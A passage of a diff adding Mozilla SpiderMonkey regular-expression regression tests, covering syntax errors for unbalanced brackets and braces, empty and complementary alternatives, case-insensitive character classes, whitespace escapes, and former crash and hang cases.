+status = inSection(3);
+testThis(' /(abc\\)def(g/ ');
+
+status = inSection(4);
+testThis(' /\\(abc)def)g/ ');
+
+
+/*
+ * These regexp patterns are correct and should not generate
+ * any errors. Note we use checkThis() instead of testThis().
+ */
+status = inSection(5);
+checkThis(' /\\(/ ');
+
+status = inSection(6);
+checkThis(' /\\)/ ');
+
+status = inSection(7);
+checkThis(' /(abc)def\\(g/ ');
+
+status = inSection(8);
+checkThis(' /(abc\\)def)g/ ');
+
+status = inSection(9);
+checkThis(' /(abc(\\))def)g/ ');
+
+status = inSection(10);
+checkThis(' /(abc([x\\)yz]+)def)g/ ');
+
+
+
+/*
+ * Unescaped, unbalanced left brackets should be a SyntaxError
+ */
+status = inSection(11);
+testThis(' /[/ ');
+
+status = inSection(12);
+testThis(' /[abc\\]def[g/ ');
+
+
+/*
+ * We permit unescaped, unbalanced right brackets, as does Perl.
+ * No error should result, even though this is not ECMA-compliant.
+ * Note we use checkThis() instead of testThis().
+ */
+status = inSection(13);
+checkThis(' /]/ ');
+
+status = inSection(14);
+checkThis(' /\\[abc]def]g/ ');
+
+
+/*
+ * These regexp patterns are correct and should not generate
+ * any errors. Note we use checkThis() instead of testThis().
+ */
+status = inSection(15);
+checkThis(' /\\[/ ');
+
+status = inSection(16);
+checkThis(' /\\]/ ');
+
+status = inSection(17);
+checkThis(' /[abc]def\\[g/ ');
+
+status = inSection(18);
+checkThis(' /[abc\\]def]g/ ');
+
+status = inSection(19);
+checkThis(' /(abc[\\]]def)g/ ');
+
+status = inSection(20);
+checkThis(' /[abc(x\\]yz+)def]g/ ');
+
+
+
+/*
+ * Run some tests for unbalanced braces. We again follow Perl, and
+ * thus permit unescaped unbalanced braces - both left and right,
+ * even though this is not ECMA-compliant.
+ *
+ * Note we use checkThis() instead of testThis().
+ */
+status = inSection(21);
+checkThis(' /abc{def/ ');
+
+status = inSection(22);
+checkThis(' /abc}def/ ');
+
+status = inSection(23);
+checkThis(' /a{2}bc{def/ ');
+
+status = inSection(24);
+checkThis(' /a}b{3}c}def/ ');
+
+
+/*
+ * These regexp patterns are correct and should not generate
+ * any errors. Note we use checkThis() instead of testThis().
+ */
+status = inSection(25);
+checkThis(' /abc\\{def/ ');
+
+status = inSection(26);
+checkThis(' /abc\\}def/ ');
+
+status = inSection(27);
+checkThis(' /a{2}bc\\{def/ ');
+
+status = inSection(28);
+checkThis(' /a\\}b{3}c\\}def/ ');
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+
+/*
+ * Invalid syntax should generate a SyntaxError
+ */
+function testThis(sInvalidSyntax)
+{
+ expect = TEST_PASSED;
+ actual = TEST_FAILED_BADLY;
+
+ try
+ {
+ eval(sInvalidSyntax);
+ }
+ catch(e)
+ {
+ if (e instanceof SyntaxError)
+ actual = TEST_PASSED;
+ else
+ actual = TEST_FAILED;
+ }
+
+ statusitems[UBound] = status;
+ expectedvalues[UBound] = expect;
+ actualvalues[UBound] = actual;
+ UBound++;
+}
+
+
+/*
+ * Valid syntax shouldn't generate any errors
+ */
+function checkThis(sValidSyntax)
+{
+ expect = CHECK_PASSED;
+ actual = CHECK_PASSED;
+
+ try
+ {
+ eval(sValidSyntax);
+ }
+ catch(e)
+ {
+ actual = CHECK_FAILED;
+ }
+
+ statusitems[UBound] = status;
+ expectedvalues[UBound] = expect;
+ actualvalues[UBound] = actual;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/RegExp/regress-223535.js b/js/src/tests/non262/RegExp/regress-223535.js
new file mode 100644
index 0000000000..1d84fcdf39
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-223535.js
@@ -0,0 +1,97 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 24 October 2003
+ * SUMMARY: Testing regexps with empty alternatives
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=223535
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 223535;
+var summary = 'Testing regexps with empty alternatives';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+string = 'a';
+status = inSection(1);
+pattern = /a|/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(2);
+pattern = /|a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('');
+addThis();
+
+status = inSection(3);
+pattern = /|/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('');
+addThis();
+
+status = inSection(4);
+pattern = /(a|)/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a');
+addThis();
+
+status = inSection(5);
+pattern = /(a||)/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a');
+addThis();
+
+status = inSection(6);
+pattern = /(|a)/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('', '');
+addThis();
+
+status = inSection(7);
+pattern = /(|a|)/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('', '');
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-224676.js b/js/src/tests/non262/RegExp/regress-224676.js
new file mode 100644
index 0000000000..132ead9aeb
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-224676.js
@@ -0,0 +1,190 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 04 November 2003
+ * SUMMARY: Testing regexps with various disjunction + character class patterns
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=224676
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 224676;
+var summary = 'Regexps with various disjunction + character class patterns';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+string = 'ZZZxZZZ';
+status = inSection(1);
+pattern = /[x]|x/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('x');
+addThis();
+
+status = inSection(2);
+pattern = /x|[x]/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('x');
+addThis();
+
+
+string = 'ZZZxbZZZ';
+status = inSection(3);
+pattern = /a|[x]b/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(4);
+pattern = /[x]b|a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(5);
+pattern = /([x]b|a)/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb', 'xb');
+addThis();
+
+status = inSection(6);
+pattern = /([x]b|a)|a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb', 'xb');
+addThis();
+
+status = inSection(7);
+pattern = /^[x]b|a/;
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+
+string = 'xb';
+status = inSection(8);
+pattern = /^[x]b|a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+
+string = 'ZZZxbZZZ';
+status = inSection(9);
+pattern = /([x]b)|a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb', 'xb');
+addThis();
+
+status = inSection(10);
+pattern = /()[x]b|a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb', '');
+addThis();
+
+status = inSection(11);
+pattern = /x[b]|a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(12);
+pattern = /[x]{1}b|a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(13);
+pattern = /[x]b|a|a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(14);
+pattern = /[x]b|[a]/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(15);
+pattern = /[x]b|a+/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(16);
+pattern = /[x]b|a{1}/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(17);
+pattern = /[x]b|(a)/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb', undefined);
+addThis();
+
+status = inSection(18);
+pattern = /[x]b|()a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb', undefined);
+addThis();
+
+status = inSection(19);
+pattern = /[x]b|^a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(20);
+pattern = /a|[^b]b/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(21);
+pattern = /a|[^b]{1}b/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+
+string = 'hallo\";';
+status = inSection(22);
+pattern = /^((\\[^\x00-\x1f]|[^\x00-\x1f"\\])*)"/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('hallo"', 'hallo', 'o');
+addThis();
+
+//----------------------------------------------------------------------------
+test();
+//----------------------------------------------------------------------------
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-225289.js b/js/src/tests/non262/RegExp/regress-225289.js
new file mode 100644
index 0000000000..d89be6bc7e
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-225289.js
@@ -0,0 +1,140 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 10 November 2003
+ * SUMMARY: Testing regexps with complementary alternatives
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=225289
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 225289;
+var summary = 'Testing regexps with complementary alternatives';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+// this pattern should match any string!
+pattern = /a|[^a]/;
+
+status = inSection(1);
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(2);
+string = '';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(3);
+string = '()';
+actualmatch = string.match(pattern);
+expectedmatch = Array('(');
+addThis();
+
+
+pattern = /(a|[^a])/;
+
+status = inSection(4);
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a');
+addThis();
+
+status = inSection(5);
+string = '';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(6);
+string = '()';
+actualmatch = string.match(pattern);
+expectedmatch = Array('(', '(');
+addThis();
+
+
+pattern = /(a)|([^a])/;
+
+status = inSection(7);
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a', undefined);
+addThis();
+
+status = inSection(8);
+string = '';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(9);
+string = '()';
+actualmatch = string.match(pattern);
+expectedmatch = Array('(', undefined, '(');
+addThis();
+
+
+// note this pattern has one non-capturing parens
+pattern = /((?:a|[^a])*)/g;
+
+status = inSection(10);
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', ''); // see bug 225289 comment 6
+addThis();
+
+status = inSection(11);
+string = '';
+actualmatch = string.match(pattern);
+expectedmatch = Array(''); // see bug 225289 comment 9
+addThis();
+
+status = inSection(12);
+string = '()';
+actualmatch = string.match(pattern);
+expectedmatch = Array('()', ''); // see bug 225289 comment 6
+addThis();
+
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-225343.js b/js/src/tests/non262/RegExp/regress-225343.js
new file mode 100644
index 0000000000..c1a70ec02f
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-225343.js
@@ -0,0 +1,89 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 11 November 2003
+ * SUMMARY: Testing regexp character classes and the case-insensitive flag
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=225343
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 225343;
+var summary = 'Testing regexp character classes and the case-insensitive flag';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+status = inSection(1);
+string = 'a';
+pattern = /[A]/i;
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(2);
+string = 'A';
+pattern = /[a]/i;
+actualmatch = string.match(pattern);
+expectedmatch = Array('A');
+addThis();
+
+status = inSection(3);
+string = '123abc123';
+pattern = /([A-Z]+)/i;
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc', 'abc');
+addThis();
+
+status = inSection(4);
+string = '123abc123';
+pattern = /([A-Z])+/i;
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc', 'c');
+addThis();
+
+status = inSection(5);
+string = 'abc@test.com';
+pattern = /^[-!#$%&\'*+\.\/0-9=?A-Z^_`{|}~]+@([-0-9A-Z]+\.)+([0-9A-Z]){2,4}$/i;
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc@test.com', 'test.', 'm');
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-24712.js b/js/src/tests/non262/RegExp/regress-24712.js
new file mode 100644
index 0000000000..fead641be3
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-24712.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 24712;
+
+test();
+
+function test()
+{
+ printBugNumber (BUGNUMBER);
+
+ var re = /([\S]+([ \t]+[\S]+)*)[ \t]*=[ \t]*[\S]+/;
+ var result = re.exec("Course_Creator = Test") + '';
+
+ reportCompare('Course_Creator = Test,Course_Creator,', result, 'exec() returned null');
+}
+
diff --git a/js/src/tests/non262/RegExp/regress-285219.js b/js/src/tests/non262/RegExp/regress-285219.js
new file mode 100644
index 0000000000..a73308d9bd
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-285219.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 285219;
+var summary = 'Do not crash on RangeError: reserved slot out of range';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var o = {hi: 'there'};
+eval("var r = /re(1)(2)(3)/g", o);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/RegExp/regress-28686.js b/js/src/tests/non262/RegExp/regress-28686.js
new file mode 100644
index 0000000000..6e75237249
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-28686.js
@@ -0,0 +1,17 @@
+/* -*- tab-width: 8; indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 28686;
+
+test();
+
+function test()
+{
+ printBugNumber (BUGNUMBER);
+
+ var str = 'foo "bar" baz';
+ reportCompare ('foo \\"bar\\" baz', str.replace(/([\'\"])/g, "\\$1"),
+ "str.replace failed.");
+}
diff --git a/js/src/tests/non262/RegExp/regress-305064.js b/js/src/tests/non262/RegExp/regress-305064.js
new file mode 100644
index 0000000000..32c4f4bb71
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-305064.js
@@ -0,0 +1,54 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 305064;
+var summary = 'CharacterClassEscape \\s';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ /** List from ES 3.1 Recommendation for String.trim (bug 305064) **/
+ var whitespace = [
+ {s : '\u0009', t : 'HORIZONTAL TAB'},
+ {s : '\u000B', t : 'VERTICAL TAB'},
+ {s : '\u000C', t : 'FORMFEED'},
+ {s : '\u0020', t : 'SPACE'},
+ {s : '\u00A0', t : 'NO-BREAK SPACE'},
+ {s : '\u1680', t : 'OGHAM SPACE MARK'},
+ {s : '\u2000', t : 'EN QUAD'},
+ {s : '\u2001', t : 'EM QUAD'},
+ {s : '\u2002', t : 'EN SPACE'},
+ {s : '\u2003', t : 'EM SPACE'},
+ {s : '\u2004', t : 'THREE-PER-EM SPACE'},
+ {s : '\u2005', t : 'FOUR-PER-EM SPACE'},
+ {s : '\u2006', t : 'SIX-PER-EM SPACE'},
+ {s : '\u2007', t : 'FIGURE SPACE'},
+ {s : '\u2008', t : 'PUNCTUATION SPACE'},
+ {s : '\u2009', t : 'THIN SPACE'},
+ {s : '\u200A', t : 'HAIR SPACE'},
+ {s : '\u202F', t : 'NARROW NO-BREAK SPACE'},
+ {s : '\u205F', t : 'MEDIUM MATHEMATICAL SPACE'},
+ {s : '\u3000', t : 'IDEOGRAPHIC SPACE'},
+ {s : '\u000A', t : 'LINE FEED OR NEW LINE'},
+ {s : '\u000D', t : 'CARRIAGE RETURN'},
+ {s : '\u2028', t : 'LINE SEPARATOR'},
+ {s : '\u2029', t : 'PARAGRAPH SEPARATOR'},
+ ];
+
+ for (var i = 0; i < whitespace.length; ++i)
+ {
+ var v = whitespace[i];
+ reportCompare(true, !!(/\s/.test(v.s)), 'Is ' + v.t + ' a space');
+ }
+}
diff --git a/js/src/tests/non262/RegExp/regress-307456.js b/js/src/tests/non262/RegExp/regress-307456.js
new file mode 100644
index 0000000000..14dde5b1ce
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-307456.js
@@ -0,0 +1,22 @@
+// |reftest| slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 307456;
+var summary = 'Do not Freeze with RegExp';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var data='<!---<->---->\n\n<><>--!!!<><><><><><>\n!!<>\n\n<>\n<><><><>!\n\n\n\n--\n--\n--\n\n--\n--\n\n\n-------\n--\n--\n\n\n--\n\n\n\n----\n\n\n\n--\n\n\n-\n\n\n-\n\n-\n\n-\n\n-\n-\n\n----\n\n-\n\n\n\n\n-\n\n\n\n\n\n\n\n\n-----\n\n\n-\n------\n-------\n\n----\n\n\n\n!\n\n\n\n\n\n\n\n!!!\n\n\n--------\n\n\n\n-\n\n\n-\n--\n\n----\n\n\n\n\n\n-\n\n\n----\n\n\n\n\n\n--------\n!\n\n\n\n\n-\n---\n--\n\n----\n\n-\n\n-\n\n-\n\n\n\n-----\n\n\n\n-\n\n\n-\n\n\n--\n-\n\n\n-\n\n----\n\n---\n\n---\n\n----\n\n\n\n---\n\n-++\n\n-------<>\n\n-!\n\n--\n\n----!-\n\n\n\n';
+
+printStatus(data);
+data=data.replace(RegExp('<!--(\\n[^\\n]|[^-]|-[^-]|--[^>])*-->', 'g'), '');
+printStatus(data);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/RegExp/regress-309840.js b/js/src/tests/non262/RegExp/regress-309840.js
new file mode 100644
index 0000000000..ff1e5927c7
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-309840.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 309840;
+var summary = 'Treat / in a literal regexp class as valid';
+var actual = 'No error';
+var expect = 'No error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ var re = eval('/[/]/');
+}
+catch(e)
+{
+ actual = e.toString();
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/RegExp/regress-312351.js b/js/src/tests/non262/RegExp/regress-312351.js
new file mode 100644
index 0000000000..72a52a1839
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-312351.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 312351;
+var summary = 'Do not crash on RegExp(null)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var x = RegExp(null);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/RegExp/regress-31316.js b/js/src/tests/non262/RegExp/regress-31316.js
new file mode 100644
index 0000000000..7ef2a14549
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-31316.js
@@ -0,0 +1,60 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 01 May 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 31316:
+ * "Rhino: Regexp matches return garbage"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=31316
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 31316;
+var summary = 'Regression test for Bugzilla bug 31316';
+var cnEmptyString = '';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+status = inSection(1);
+pattern = /<([^\/<>][^<>]*[^\/])>|<([^\/<>])>/;
+string = '<p>Some<br />test</p>';
+actualmatch = string.match(pattern);
+expectedmatch = Array('<p>', undefined, 'p');
+addThis();
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-330684.js b/js/src/tests/non262/RegExp/regress-330684.js
new file mode 100644
index 0000000000..097c697943
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-330684.js
@@ -0,0 +1,21 @@
+// |reftest| slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 330684;
+var summary = 'Do not hang on RegExp';
+var actual = 'Do not hang on RegExp';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var re = /^(?:(?:%[0-9A-Fa-f]{2})*[!\$&'\*-;=\?-Z_a-z]*)+$/;
+var url = "http://tw.yimg.com/a/tw/wenchuan/cam_240x400_381615_030806_2.swf?clickTAG=javascript:VRECopenWindow(1)";
+
+printStatus(re.test(url));
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/RegExp/regress-334158.js b/js/src/tests/non262/RegExp/regress-334158.js
new file mode 100644
index 0000000000..a561445536
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-334158.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 334158;
+var summary = 'Parse error in control letter escapes (RegExp)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = true;
+actual = /\ca/.test( "\x01" );
+reportCompare(expect, actual, summary + ':/\ca/.test( "\x01" )');
+
+expect = false
+ actual = /\ca/.test( "\\ca" );
+reportCompare(expect, actual, summary + ': /\ca/.test( "\\ca" )');
+
+expect = false
+ actual = /\c[a/]/.test( "\x1ba/]" );
+reportCompare(expect, actual, summary + ': /\c[a/]/.test( "\x1ba/]" )');
diff --git a/js/src/tests/non262/RegExp/regress-346090.js b/js/src/tests/non262/RegExp/regress-346090.js
new file mode 100644
index 0000000000..a25c38a563
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-346090.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346090;
+var summary = 'Do not crash with this regexp';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var r = /%((h[^l]+)|(l[^h]+)){0,2}?a/g;
+ r.exec('%lld %d');
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/RegExp/regress-367888.js b/js/src/tests/non262/RegExp/regress-367888.js
new file mode 100644
index 0000000000..f303758ca9
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-367888.js
@@ -0,0 +1,26 @@
